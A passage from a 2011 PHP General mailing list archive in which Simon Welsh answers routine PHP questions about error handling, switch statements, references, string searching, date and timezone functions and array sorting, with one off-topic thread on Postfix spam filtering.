Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] how catch a warning by file_put_contents() ?

2011-08-19 Thread Simon J Welsh
On 20/08/2011, at 4:51 PM, Andreas wrote:

> Hi,
> I wrote stuff with file_put_contents() in a try{} catch{} and it worked.
> 
> Then I'd like to check what happens when some error occurs so I 
> writeprotected the targetfile.
> Instead of getting my own message by the catch{} block I got a standard 
> warning in the browser.
> 
> Can't I catch those warnings, too?
> And why does this function rise a warning when it can't acomplish it's task?
> 
> 
> Samplecode:
>try {
>$msg = date ("d.m.Y H:i:s") . 'This should be stored in the file.';
>file_put_contents( '/tmp/exceptions.txt', $msg . "\n", FILE_APPEND);
>}
>catch ( Exception $e ) {
>$msg = "Exception " . $e->getCode() . " / " . $e->getMessage();
>echo "$msg";
>}

file_put_contents() doesn't throw exceptions. As the note on the exception 
documentation says: "Internal PHP functions mainly use Error reporting, only 
modern Object oriented extensions use exceptions."

If you look at the documentation for its return value 
(http://php.net/file_put_contents), you'll see that false is returned on 
failure.

In this case, a warning makes more sense than throwing an exception anyway. A 
warning can be ignored, either by changing the error_reporting level or using 
the error control operator, whereas an exception must be dealt with or 
execution halts.
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Using function prototypes in code

2011-08-10 Thread Simon J Welsh
On 10/08/2011, at 1:10 PM, Frank Thynne wrote:

> To confuse me a bit further, I can't find a definitive list of the
> basic type names. For example, is it "integer" or "int"?

Both. 
http://php.net/manual/en/language.types.type-juggling.php#language.types.typecasting
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] A php bug or?..

2011-08-08 Thread Simon J Welsh
On 9/08/2011, at 8:20 AM, Andre Polykanine wrote:

> Hi everyone,
> 
>As we all know, count() returns 1 if the variable 
> is not an array.
> Question is: why in the world does it this? If a variable is *notA* an array, 
> it contains *zero* array elements.
> You can answer: "but no, man, you can say
> $x="world";
> $y=$x{3}; // $y="l"
> 
> so the variable is treated or can be treated as an array".
> Well. If strings are treated like arrays, why count($x) doesn't return 5 
> instead of 1?
> Just asking.
> 
> -- 
> With best regards from Ukraine,
> Andre

I'm assuming it has to do with the value, if not an array or object, being cast 
as an array. Thus, non-false equivalent values get cast into an array of size 1:

  int(1)
}
array(0) {
}

---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] put code into a function then the code dead,very strange.

2011-08-02 Thread Simon J Welsh
On 2/08/2011, at 10:24 PM, Sharl.Jimh.Tsin wrote:

> hi,everyone
>   it is a very strange problem,At first,i put my code into the method
> inner,it works.see below:
> 
> [snip]
> 
> As you can see,it seems to be impossible.Can someone tell me WHY?
> 
> -- 
> Best regards,
> Sharl.Jimh.Tsin (From China **Obviously Taiwan INCLUDED**)

You're using $motoCols in your function, but have not defined it or passed it 
as an argument.
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] is_null() and is_string() reversed when using in switch case statements...

2011-07-14 Thread Simon J Welsh
On 15/07/2011, at 1:58 PM, Daevid Vincent wrote:

> function test($v)
> {
>   var_dump($v);
> 
>   if (is_string($v)) echo "FOUND A STRING.\n";
>   if (is_null($v)) echo "FOUND A NULL.\n";
> 
>   switch ($v)
>   {
>   case is_string($v):
>   echo "I think v is a string, so this is broken.\n";
>   break;
>   case is_null($v):
>   echo "I think v is null, so this is broken.\n";
>   break;
>   case is_object($v):
>   $v = '{CLASS::'.get_class($v).'}';
>   echo "I think v is a class $v\n";
>   break;
> 
>   case is_bool($v):
>   $v = ($v) ? '{TRUE}' : '{FALSE}';
>   echo "I think v is boolean $v\n";
>   break;
>   case is_array($v):
>   $v = '['.implode(',',$v).']';
>   echo "I think v is an array $v\n";
>   break;
>   case is_numeric($v):
>   echo "I think v is a number $v\n";
>   break;
>   }
> }

In both cases, $v is equivalent to false, so is_string(NULL) = false == NULL == 
$v, likewise for is_null($v);

You're most likely after switch(true) { … } rather than switch($v)
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Spam filtering (was Top Posting)

2011-07-06 Thread Simon J Welsh
On 7/07/2011, at 5:50 AM, Jim Lucas wrote:

> On 7/5/2011 7:52 PM, Jim Giner wrote:
>> And what do you use to cut down on spam in your in-box? 
> 
> This is completely off topic, but here it goes...
> 
> When I received an email the other day from your mail server, I had created 
> this
> crazy ass reply to your automatic request for a reply.  But in turn, just sent
> the email with the link showing that your mail server is a source of spam.
> 
> To answer your question, I use built in Postfix checks...
> 
> Here are my list of options:
> 
> reject_invalid_hostname,
> reject_non_fqdn_hostname,
> reject_non_fqdn_sender,
> reject_non_fqdn_recipient,
> reject_unknown_sender_domain,
> reject_unknown_reverse_client_hostname,
> reject_unknown_recipient_domain,
> check_recipient_maps,
> permit_mynetworks,
> permit_sasl_authenticated,
> reject_unauth_destination,
> check_helo_access hash:/etc/postfix/helo_checks,
> reject_invalid_helo_hostname,
> reject_non_fqdn_helo_hostname,
> reject_unknown_helo_hostname,
> reject_rbl_client zen.spamhaus.org,
> reject_rbl_client psbl.surriel.com,
> reject_rbl_client korea.services.net,
> permit
> 
> With the above settings, I REJECT 99.9% of all SPAM that tries to enter my 
> box.
> 
> You are currently listed in my /etc/postfix/helo_checks file as
> 
> 64.118.87.45  REJECT Your mail server is a source of SPAM.  Fix it!

I use grey-listing. It temporarily rejects emails from servers it doesn't 
recognise, which stops most spam but actual email gets through as they 
(correctly) retry.

I also have a learning bayesian filter running in my mail client (Apple's 
Mail), which handles the spam that gets through the greylist.
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Create a hierarchical hash from flat source

2011-06-22 Thread Simon J Welsh
On 23/06/2011, at 10:14 AM, Scott Baker wrote:

> On 06/22/2011 03:06 PM, Simon J Welsh wrote:
>> On further inspection, that's not the problem at all. The problem's around 
>> assign_children($pid,$list,&$new);
>> 
>> The previous line you defined $new with $new = $leaf[$pid], *copying* that 
>> node into $new. Thus the assign_children() call updates $new, but not 
>> $lead[$pid].
>> 
>> You can fix this by either assigning $new by reference ($new =& $leaf[$pid]) 
>> or by passing a reference to $lead[$pid] to assign_children instead of $new.
> 
> I updated the code:
> 
> http://www.perturb.org/tmp/tree.txt
> 
> I still get the same output though. Only one level of depth :(

You still need to pass the value by reference to assign_children(), so:
$new = &$leaf[$pid];
assign_children($pid,$list,&$new);
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Create a hierarchical hash from flat source

2011-06-22 Thread Simon J Welsh
On 23/06/2011, at 9:57 AM, Simon J Welsh wrote:

> On 23/06/2011, at 9:53 AM, Scott Baker wrote:
> 
>> I have a bunch of records in a DB that look like
>> 
>> id | parent_id
>> --
>> 1  | 4
>> 2  | 4
>> 3  | 2
>> 4  | 0
>> 5  | 2
>> 6  | 1
>> 7  | 3
>> 8  | 7
>> 9  | 7
>> 
>> I want to build a big has that looks like:
>> 
>> 4 -> 1 -> 6
>> -> 2 -> 3 -> 7 -> 9
>>  -> 5  -> 8
>> 
>> I'm like 90% of the way there, but I can't get my recursive assignment
>> to work. Has anyone done this before that could offer some pointers?
>> Here is my sample code thus far:
>> 
>> http://www.perturb.org/tmp/tree.txt
>> 
>> I can get one level of depth, but nothing more than that :(
> 
> I haven't looked that much into your code, but:
> $children = find_children($id,$list);
> 
> $list is never defined.

On further inspection, that's not the problem at all. The problem's around 
assign_children($pid,$list,&$new);

The previous line you defined $new with $new = $leaf[$pid], *copying* that node 
into $new. Thus the assign_children() call updates $new, but not $lead[$pid].

You can fix this by either assigning $new by reference ($new =& $leaf[$pid]) or 
by passing a reference to $lead[$pid] to assign_children instead of $new.

---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Create a hierarchical hash from flat source

2011-06-22 Thread Simon J Welsh
On 23/06/2011, at 9:53 AM, Scott Baker wrote:

> I have a bunch of records in a DB that look like
> 
> id | parent_id
> --
> 1  | 4
> 2  | 4
> 3  | 2
> 4  | 0
> 5  | 2
> 6  | 1
> 7  | 3
> 8  | 7
> 9  | 7
> 
> I want to build a big has that looks like:
> 
> 4 -> 1 -> 6
>  -> 2 -> 3 -> 7 -> 9
>   -> 5  -> 8
> 
> I'm like 90% of the way there, but I can't get my recursive assignment
> to work. Has anyone done this before that could offer some pointers?
> Here is my sample code thus far:
> 
> http://www.perturb.org/tmp/tree.txt
> 
> I can get one level of depth, but nothing more than that :(

I haven't looked that much into your code, but:
$children = find_children($id,$list);

$list is never defined.
---
Simon Welsh
Admin of http://simon.geek.nz/


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP 5.3.3 operator & problem

2011-06-01 Thread Simon J Welsh
On 2/06/2011, at 2:44 PM, 李白|字一日 wrote:

> hi, all
> 
> i currently have a project which using & operator on creating a new object.
> 
> like:
>  $class =& new Class();
> 
> it works properly in  php 5.1.6,
> but not in php 5.3.3
> and it gives offset errors to me.
> 
> is there anyone knows why and how to fix this problem?

In PHP 5, objects are always assigned by reference, you do not need to make it 
explicit.
---
Simon Welsh
Admin of http://simon.geek.nz/


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] displaying a pdf

2011-05-29 Thread Simon J Welsh
On 30/05/2011, at 9:02 AM, Jim Giner wrote:

> Perhaps someone can tell me what I'm doing wrong.  I did some ( a lot) 
> looking around for hints on this and here is what I have compiled.  It 
> doesn't work - just goes to a white, blank page and sits.  I don't know if I 
> need all the html parts or even if I have placed my php in the right areas.
> 
> BTW - all I want to do is use a menu option to take me to a page that shows 
> the pdf.  My menu (a js thing) won't let me use an  element, so I'm 
> trying to just build a php page that I can go to and display the doc 
> automacitcally without the user having to click on something..
> 
> [code begins]
>  session_start();
> $root = $_SERVER['DOCUMENT_ROOT'];
> $pdfname='/pdfs/myfile.pdf';
> $length = filesize($pdfname);
> //
> header("Content-type: application/pdf");
> header("Content-Disposition: inline; filename=".$pdfname);
> header("Content-Length: ".$length);
> //
> ?>
>  "http://www.w3.org/TR/html4/loose.dtd";>
> 
> 
> 
> 
>  readfile=$pdfname;
> ?>
> 
> 
> [code ends]
> 
> Thanks in advance! 

You don't want the HTML, as it's not part of the PDF. The first example on 
http://php.net/header even shows what you're trying to achieve.

http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] iPhone sadness

2011-05-29 Thread Simon J Welsh
On 29/05/2011, at 9:48 PM, Richard Quadling wrote:

> On 29 May 2011 01:36, TR Shaw  wrote:
>> (sorry for the top posting)
>> 
>> Sent from my iPad
>> 
> 
> Are you telling me that you can't scroll down the page on an iPad?
> 
> I refer back to my comment that the "Sent from my iPad/iPhone" is
> inherently an apology.
> 
> 
> 
> -- 
> Richard Quadling
> Twitter : EE : Zend : PHPDoc
> @RQuadling : e-e.com/M_248814.html : bit.ly/9O8vFY : bit.ly/lFnVea

The signature is inserted at the top. Refer back to the replies to your comment.

---
Simon Welsh
Admin of http://simon.geek.nz/
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] dynamic copyright in page footer?

2011-04-30 Thread Simon J Welsh
On 30/04/2011, at 11:06 PM, David Mehler wrote:

> Hello,
> 
> I am trying to use php to put a copyright notice in a page footer. I'm
> using the date function with the "Y" value for the year. Here's the
> code:
> 
>  echo date ('Y');
> ?>
> 
> This works great for a site done in 2011 but next year I'm going to
> want to have 2011 and 2012 in the copyright notice, adding an
> additional year the site's up. I'd appreciate some suggestions i'm
> very likely overthinking this.
> 
> Thanks.
> Dave.

I would use something simple like:
if(date('Y') == '2011') {
echo '2011';
} else {
echo '2011-', date('Y');
}

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] pick a card, any card...

2011-04-09 Thread Simon J Welsh
On 9/04/2011, at 3:39 PM, Scotty Logan wrote:

> On Apr 8, 2011, at 8:20 PM, Kirk Bailey wrote:
>> in otherwords, the entire idea of picking one of N objects, whatever they 
>> are- strings, numbers, gummybears, lined up in a listing, and return the one 
>> item selected. This seems a common enough function there should be a simple 
>> way to do it already in php. HOWEVER, I ain't findin' it that way, no 
>> sir/maam/other.
>> Maybe I am missing the obvious SIMPLE way to get the job done. So if we have 
>> a listing of foo's, we can title this $listing, and we want 1 of them to be 
>> returned, we should see something like:
>> randmember($listing)
> 
> array_rand() - it's already built-in - 
> http://php.net/manual/en/function.array-rand.php
> 
>  Scotty

Just note that array_rand() returns a random (or an array of random) key(s), 
not the values.
---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] DateTime using DateTimeZone Timestamp problem

2011-04-05 Thread Simon J Welsh
On 5/04/2011, at 3:35 AM, Ian wrote:

> Hi,
> 
> I have a problem using the php built in classes DateTime and DateTimeZone.
> 
> The idea behind the following code is to return the timestamp for the
> current time in Singapore (or other places).  What it actually returns
> is the timestamp for the local system. Other formatted dates appear to
> return correctly, which is why I am puzzled.
> 
> I am using the latest php 5.3.6 compiled from source on a OpenVZ CentOS
> container. All packages are up to date.
> 
> Am I doing something wrong or is this a bug?
> 
> I can workaround this problem my parsing the correctly formatted date
> using strtotime() but I would like to know what's going on.
> 
> 
> 
> This is the output of the script:
> 
>   Current time in Asia/Singapore is 2011-04-04 23:32:36
>   Timestamp for Asia/Singapore is 1301931156
>   Date created from previous timestamp is 2011-04-04 16:32:36
> 
> The code is :
> 
>  
> $timezone="Asia/Singapore";
> 
> # Create Timezone object
> $remote_timezone  = new DateTimeZone($timezone);
> 
> # Create datetime object
> $remote_time  = new DateTime("now" , $remote_timezone);
> 
> # Print the date
> print "Current time in {$timezone} ";
> print "is {$remote_time->format("Y-m-d H:i:s")}";
> 
> # Print the timestamp
> print "Timestamp for {$timezone} ";
> print "is {$remote_time->format("U")}";
> 
> # Get the timestamp and create a date from it
> $timestamp = (int)$remote_time->format("U");
> 
> # Show the formatted date created from timestamp
> print "Date created from previous timestamp is ";
> print date("Y-m-d H:i:s",$timestamp)."";
> 
> ?>

May I suggest including the timezone in your date format (O or e)? It may show 
the two date strings to be equivalent.

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Looking for Tool to read JSON format

2011-04-01 Thread Simon J Welsh
On 2/04/2011, at 10:19 AM, Michelle Konzack wrote:

> Hello *,
> 
> curently I am coding on my new Intranet Interface, but  some  teleguided
> servers return only JSON or YAML files.
> 
> Can someone tell me, how to import JSON files in PHP 5/6?
> 
> Thanks, Greetings and nice Day/Evening
>Michelle Konzack

json_decode(file_get_contents('http://domain/file.json'));

If you need to do a POST rather than a GET, use curl and pass the output from 
curl_exec() to json_decode().

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] String eval assistance

2011-03-15 Thread Simon J Welsh
On 16/03/2011, at 10:34 AM, Jack wrote:

> Hello All,
> 
> 
> 
> I got some help on this yesterday, but somehow it's not consistant
> 
> 
> 
>  
> 
> 
> $results = "3434approd34";
> 
> 
> 
> if(strpos($results['response'], 'APPROVED') !== false) {
> 
> 
> 
>   print "declined";
> 
> 
> 
> } else {
> 
> 
> 
>   print "approved";
> 
> }
> 
> 
> 
> ?>
> 
> 
> 
> 
> 
> The thing is I cant get a consistant response, if it has approved anywhere
> in the results string, then it should be approved and if the results is
> APPROVD without the E it shold be delined.
> 
> 
> 
> Am I doing something wrong.
> 
> 
> 
> 
> 
> Thanks!
> 
> Jack

Yes, you're doing something wrong. strpos() returns false if it can't find the 
needle. You should be using if(strpos() === false) { declined; }
---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] php or juvascript convert IETF format to ISO08601

2011-03-15 Thread Simon J Welsh

On 15/03/2011, at 9:18 PM, Joce Jovanov wrote:

> On Tue, Mar 15, 2011 at 12:44 AM, Simon J Welsh  wrote:
> 
>> On 15/03/2011, at 12:32 PM, Jordan wrote:
>> 
>>> Hello Evrybody,
>>> 
>>> Can i convert IETF format (ex: "Wed, 18 Oct 2009 13:00:00 EST") in
>> ISO8601 format (ex: "2009-11-05T13:15:30Z")
>>> 
>>> Does somebody know some php scripte or similar?
>>> 
>>> Thanks...
>> 
>> strtotime() (http://php.net/strtotime) and date() (http://php.net/date).
>> There's even a DATE_ISO8601 constant for the correct date format.
>> 
>> ---
>> Simon Welsh
>> Admin of http://simon.geek.nz/
>> 
>> Who said Microsoft never created a bug-free program? The blue screen never,
>> ever crashes!
>> 
>> http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e
>> 
>> 
> Hi again,
> Thanks for the email,
> do you alredy know some function who will convert IETF format to ISO8601

You'd use the strtotime function to convert the IETF format to a timestamp, 
then then date function to convert that timestamp to ISO8601.

Something like date(DATE_ISO8601, strtotime('IETF format string')).
---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] problem with if and exact match

2011-03-14 Thread Simon J Welsh
On 15/03/2011, at 6:02 PM, Jack wrote:

> I want to be able to match if a string is contained within the string I am
> evaluating.
> 
> 
> 
> I know that if ( $name == "xxjacksonxx"); based on the below would be true.
> 
> But I want to be able to say if "jackson"  is contained within $name that
> it's a match.
> 
> 
> 
> I tried the below without success..
> 
> Not getting the operand properly..
> 
> 
> 
>  
> 
> 
> $name = "xxjacksonxx";
> 
> 
> 
> if ( preg_match($name, "jackson")) {  
> 
>   print "true";
> 
> 
> 
> } else {
> 
> 
> 
>   print "false";
> 
> }
> 
> 
> 
> ?>
> 
> 
> 
> Thanks!
> 
> Jack

if(strpos($name, 'jackson') !== false) {
true
}

You can use stripos for case-insentive matching.

Using regex functions when you don't need the power is overkill and slower. 
Your call to preg_match wasn't working because you need your search term first, 
and it needs proper delimiters.
---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] php or juvascript convert IETF format to ISO08601

2011-03-14 Thread Simon J Welsh
On 15/03/2011, at 12:32 PM, Jordan wrote:

> Hello Evrybody,
> 
> Can i convert IETF format (ex: "Wed, 18 Oct 2009 13:00:00 EST") in ISO8601 
> format (ex: "2009-11-05T13:15:30Z")
> 
> Does somebody know some php scripte or similar?
> 
> Thanks...

strtotime() (http://php.net/strtotime) and date() (http://php.net/date). 
There's even a DATE_ISO8601 constant for the correct date format.

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: Regex for extracting quoted strings

2011-03-05 Thread Simon J Welsh

On 6/03/2011, at 11:08 AM, Shawn McKenzie wrote:

> On 03/05/2011 09:26 AM, Mark Kelly wrote:
>> Hi.
>> 
>> I'm hoping someone can help me extract text between double quotes from a 
>> string.
>> 
>> $regex = 'some magic';
>> $r = preg_match($regex, $sentence, $phrases);
>> 
>> So, if 
>> 
>> $sentence = 'Dave said "This is it". "Nope, that is the wrong colour" she 
>> replied.';
>> 
>> I want $phrases to contain 'This is it' and 'Nope, that is the wrong colour'.
>> 
>> Can anyone help?
>> 
>> Cheers,
>> 
>> Mark
> 
> $regex = '/"([^"]+)"/';
> 
> -- 
> Thanks!
> -Shawn
> http://www.spidean.com

Also, you'll want preg_match_all rather than preg_match.

---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP5.3.5: error message for date()

2011-03-04 Thread Simon J Welsh
On 5/03/2011, at 8:29 PM, clanc...@cybec.com.au wrote:

> After a long battle to get my system back on air after a hard disk crash, I 
> got PHP 5.3.5
> running under Apache 2.2.3. I now get a diagnostic every time I call date(), 
> complaining
> about a missing parameter. The manual states that the second parameter is 
> optional, and
> even phpinfo doesn't know about this new requirement, as it contains the same 
> diagnostic:
> 
> "Warning: phpinfo(): It is not safe to rely on the system's timezone 
> settings. You are
> *required* to use the date.timezone setting or the 
> date_default_timezone_set() function.
> In case you used any of those methods and you are still getting this warning, 
> you most
> likely misspelled the timezone identifier. We selected 'Australia/Melbourne' 
> for
> '11.0/DST' instead in D:\Websites\index.php on line 1 Warning: phpinfo(): It 
> is not safe
> to rely on the system's timezone settings. You are *required* to use the 
> date.timezone
> setting or the date_default_timezone_set() function. In case you used any of 
> those methods
> and you are still getting this warning, you most likely misspelled the 
> timezone
> identifier. We selected 'Australia/Melbourne' for '11.0/DST' instead in
> D:\Websites\index.php on line 1 ".
> 
> Is this a bug, or a new requirement we will have to get used to?
> 
> 
> 
> Roger Riordan AM

It's not complaining about a missing parameter, it's complaining about the lack 
of a specified timezone.

This warning was introduced in PHP5.1, and you either need to set the 
date.timezone INI setting, either in your php.ini or by using ini_set(), or by 
passing a valid timezone to date_default_timezone_set() before calling any 
other date-related functions.
---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Sorting an array

2011-02-28 Thread Simon J Welsh
On 1/03/2011, at 4:52 PM, Ron Piggott wrote:

> 
> I need help to know how to sort the words / phrases in my array.
> 
> Variable name: $words_used
> print_r( $words_used ); Current output: Array ( [187] => Sin [249] => 
> Punished [98] => Sanctuary [596] => Sing [362] => Anointing Oil )
> Desired result: Alphabetical sort: Array ( [362] => Anointing Oil [249] => 
> Punished [98] => Sanctuary [187] => Sin [596] => Sing ) 
> 
> The #’s are the auto_increment value of the word in the mySQL database.  The 
> number is not representative of alphabetical order, but the order it was 
> added to the database.
> 
> Thank you for your assistance.
> 
> Ron
> 
> The Verse of the Day
> “Encouragement from God’s Word”
> http://www.TheVerseOfTheDay.info  

Have a look at asort() (http://php.net/asort), which is used to sort arrays but 
maintain the key association. The default search option should work fine for 
you, if not try one of the other SORT_* flags described on the sort() manual 
page.
---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Regex pattern for preg_match_all

2011-02-18 Thread Simon J Welsh
As far as I can tell, your problem lies in [^href]*. That will match any 
characters other than h, r, e or f, not anything other than the string href. 
Consider replacing it with [^>]*?. The ? makes it non-greedy so it will stop as 
soon as it can (when it matches the first href) rather than as late as it can 
(when it matches a >)
---
Simon Welsh
Sent from my phone, excuse the brevity

On 19/02/2011, at 10:36, Tommy Pham  wrote:

> Hi folks,
> 
> This is not directly relating to PHP but it's Friday so I'm gonna give
> it a shot :).  Would someone please help me figure out why my regex
> pattern doesn't work.  Below is the code and sample data:
> 
> $html = <<  href="http://images.search.yahoo.com/images";
> data-b="http://www.yahoo.com";> style="padding-left:0em;padding-right:0em;">Images
>  href="http://video.search.yahoo.com/video";
> data-b="http://www.yahoo.com";> style="padding-left:0em;padding-right:0em;">Video
>  href="http://local.yahoo.com/results";
> data-b="http://www.yahoo.com";> style="padding-left:0em;padding-right:0em;">Local
>  href="http://shopping.yahoo.com/search";
> data-b="http://www.yahoo.com";> style="padding-left:0em;padding-right:0em;">Shopping
>  href="http://tools.search.yahoo.com/about/forsearchers.html"; > class="tab-cover y-mast-bg-hide">More class="y-fp-pg-controls arrow">
> HTML;
> 
> $pattern = 
> '%]*>(.*)?%im';
> preg_match_all($pattern, $html, $matches);
> 
> The only matches I got is:
> 
> Match 1 of 1: href="http://local.yahoo.com/results";
> data-b="http://www.yahoo.com";> style="padding-left:0em;padding-right:0em;">Local
> 
> Group 1:http://local.yahoo.com/results
> 
> Group 2: style="padding-left:0em;padding-right:0em;">Local
> 
> The pattern I made was to work in cases where the page is
> non-compliant to any of standard W3.
> 
> Thanks,
> Tommy
> 
> -- 
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 


Re: [PHP] Custom function

2011-02-15 Thread Simon J Welsh
On 16/02/2011, at 1:21 PM, Mark Kelly wrote:

> In this way almost any value in $z will trigger the conditional code, 
> including 0 or an empty string. The exceptions are FALSE and NULL. If you 
> explicitly need to react to a NULL value, use is_null() to detect it. 

http://nz.php.net/boolean#language.types.boolean.casting

As $z is converted to a boolean and exists, that works just the same way as 
!empty().
---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Finding split points in an article for inserting ads

2011-02-15 Thread Simon J Welsh
On 16/02/2011, at 10:03 AM, Brian Dunning wrote:

> Hey all -
> 
> I've got long articles, the HTML for which comes out of MySQL. Works great. I 
> want to split it up so that I can insert ad blocks at various points within 
> it. The articles are all pretty long but they're of variable length. I want 
> to chop them up into three close-to-equal (doesn't have to be) chunks of 
> paragraphs, thus:
> 
> Here's the original article
> Here's the original article
> Here's the original article
> Here's the original article
> Here's the original article
> 
> Would become:
> 
> Here's the original article
> Here's the original article
> 
> Here's the original article
> Here's the original article
> 
> Here's the original article
> 
> Any suggestions? Thanks.

Assuming you're only using  tags, count the number of opening  tags, 
divide by three. First ad block goes after the round($amount/3)-th , second 
ad block goes after the round($amount/3*2)-th .
---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Simplifying MySql queries

2011-02-12 Thread Simon J Welsh
On 13/02/2011, at 9:40 AM, Andre Polykanine wrote:

> Hi all,
> I'm using in my PHP script the following four MySql queries:
> $q1=mysql_query("SELECT *FROM`CandidateQuestions`WHERE
> `Category`='1' ORDER BY RAND() LIMIT 1");
> $q2=mysql_query("SELECT *FROM`CandidateQuestions`WHERE
> `Category`='2' ORDER BY RAND() LIMIT 1");
> $q3=mysql_query("SELECT *FROM`CandidateQuestions`WHERE
> `Category`='3' ORDER BY RAND() LIMIT 1");
> $q4=mysql_query("SELECT *FROM`CandidateQuestions`WHERE
> `Category`='4' ORDER BY RAND() LIMIT 1");
> 
> and  here  goes the question: is there a way to make these four in one
> so  strictly  one  random  question  is  selected from all of the four
> categories?
> Thanks!
> 
> -- 
> With best regards from Ukraine,
> Andre
> Skype: Francophile
> Twitter: http://twitter.com/m_elensule
> Facebook: http://facebook.com/menelion

mysql_query('SELECT * FROM `CandidateQuestions` WHERE `Category` IN (1,2,3,4) 
ORDER BY RAND() LIMIT 1;'); should do it.

Though if there's no other possible values for Category, you could just remove 
the WHERE clause.
---
Simon Welsh
Admin of http://simon.geek.nz/

Who said Microsoft never created a bug-free program? The blue screen never, 
ever crashes!

http://www.thinkgeek.com/brain/gimme.cgi?wid=81d520e5e


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] 2nd Pair of eyes

